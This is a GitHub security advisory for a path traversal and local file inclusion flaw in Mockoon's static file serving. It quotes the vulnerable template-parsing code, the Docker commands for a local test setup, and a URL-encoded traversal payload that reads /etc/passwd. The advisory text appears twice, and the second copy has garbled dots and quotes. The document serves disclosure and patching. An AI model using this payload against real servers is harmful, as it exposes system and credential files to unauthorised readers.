Headline
GHSA-w7f9-wqc4-3wxr: Mockoon has a Path Traversal and LFI in the static file serving endpoint
Summary
A mock API configuration for static file serving following the same approach presented in the documentation page, where the server filename is generated via templating features from user input is vulnerable to Path Traversal and LFI, allowing an attacker to get any file in the mock server filesystem. The issue may be particularly relevant in cloud hosted server instances
Details
In sendFileWithCallback(code) and sendFile(code) the filePath variable is parsed using TemplateParser
let filePath = TemplateParser({
shouldOmitDataHelper: false,
// replace backslashes with forward slashes, but not if followed by a dot (to allow helpers with paths containing properties with dots: e.g. {{queryParam 'path.prop\.with\.dots'}})
content: routeResponse.filePath.replace(/\\(?!\.)/g, '/'),
environment: this.environment,
processedDatabuckets: this.processedDatabuckets,
globalVariables: this.globalVariables,
request: serverRequest,
envVarsPrefix: this.options.envVarsPrefix
});
The path extracted from the request parameters used when composing the final file path is not sanitized and is vulnerable to path traversal exploits (e.g. ../../../../../etc/passwd)
PoC
Test setup
The issue has been tested with mockoon-cli, using the Docker image mockoon/cli:latest
# Folder setup
mkdir mockoon-test
cd mockoon-test
# put config.json in mockooon-test dir
mkdir static
# Run container
docker run -d --mount type=bind,source=./config.json,target=/data,readonly -v ./static:/static -p 3000:3000 mockoon/cli:latest -d data -p 3000
Payload to reproduce
Browsing directly to http://localhost:3000/static/%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd is going to display the /etc/passwd file in the container filesystem
- GitHub Advisory Database
- GitHub Reviewed
- GHSA-w7f9-wqc4-3wxr
Mockoon has a Path Traversal and LFI in the static file serving endpoint
High severity GitHub Reviewed Published Mar 11, 2025 in mockoon/mockoon • Updated Mar 11, 2025
Package
npm @mockoon/cli (npm)
Affected versions
<= 9.1.0
npm @mockoon/commons-server (npm)
Summary
A mock API configuration for static file serving following the same approach presented in the documentation page, where the server filename is generated via templating features from user input is vulnerable to Path Traversal and LFI, allowing an attacker to get any file in the mock server filesystem.
The issue may be particularly relevant in cloud hosted server instances
Details
In sendFileWithCallback(code) and sendFile(code) the filePath variable is parsed using TemplateParser
let filePath = TemplateParser({ shouldOmitDataHelper: false, // replace backslashes with forward slashes, but not if followed by a dot (to allow helpers with paths containing properties with dots: e.g. {{queryParam 'path.prop\.with\.dots’}}) content: routeResponse.filePath.replace(/\\(?!\.)/g, ‘/’), environment: this.environment, processedDatabuckets: this.processedDatabuckets, globalVariables: this.globalVariables, request: serverRequest, envVarsPrefix: this.options.envVarsPrefix });
The path extracted from the request parameters used when composing the final file path is not sanitized and is vulnerable to path traversal exploits (e.g. …/…/…/…/…/etc/passwd)
PoC****Test setup
The issue has been tested with mockoon-cli, using the Docker image mockoon/cli:latest
config.json
Folder setup
mkdir mockoon-test cd mockoon-test
put config.json in mockooon-test dir
mkdir static
Run container
docker run -d --mount type=bind,source=./config.json,target=/data,readonly -v ./static:/static -p 3000:3000 mockoon/cli:latest -d data -p 3000
Payload to reproduce
Browsing directly to http://localhost:3000/static/%2F…%2F…%2F…%2F…%2F…%2Fetc%2Fpasswd is going to display the /etc/passwd file in the container filesystem
References
- GHSA-w7f9-wqc4-3wxr
- mockoon/mockoon@c7f6e23
- https://github.com/mockoon/mockoon/blob/1ed31c4059d7f757f6cb2a43e10dc81b0d9c55a9/packages/commons-server/src/libs/server/server.ts#L1400
- https://github.com/mockoon/mockoon/blob/1ed31c4059d7f757f6cb2a43e10dc81b0d9c55a9/packages/commons-server/src/libs/server/server.ts#L1551
Published to the GitHub Advisory Database
Mar 11, 2025
Last updated
Mar 11, 2025